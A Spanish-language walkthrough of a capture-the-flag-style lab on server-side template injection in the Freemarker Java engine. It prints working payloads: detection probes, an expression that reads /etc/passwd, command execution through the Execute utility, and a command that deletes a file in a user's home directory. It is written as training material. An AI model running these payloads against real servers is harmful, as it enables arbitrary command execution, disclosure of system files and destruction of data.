> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/ssti-using-java-template-engine-documentation.md).
# SSTI usando la documentación del motor de plantillas de Java
### Inyección de plantillas del lado del servidor usando documentación
Este laboratorio presenta una vulnerabilidad **SSTI**. El objetivo es identificar el motor de plantillas utilizado, consultar su documentación para entender cómo ejecutar código arbitrario y luego eliminar el archivo moral. txt en el directorio Carlos. / Las credenciales proporcionadas son: **content-manager: C0nt3ntM4n4g3r**.
### **Análisis de la plantilla**
En los comentarios, el motor proporciona una expresión:
* Prueba simple :
```java
${7*7}
```
* Un error revela que el motor utilizado es **Freemarker (Java)**.
* Una nueva expresión como `${7*a}` confirma la interpretación de la plantilla.
```java
${7*a}
```
#### **Lectura de archivos**
Para leer el archivo /etc/passwd, se utilizan los métodos accesibles a través del objeto:
```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```
#### **Ejecución de comandos**
Freemarker permite invocar `Ejecutar` la utilidad:
```java
${"freemarker.template.utility.Execute"?new()("id")}
```
#### **Archivo objetivo eliminado**
Para eliminar moral.txt del directorio Carlos:
```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```
---
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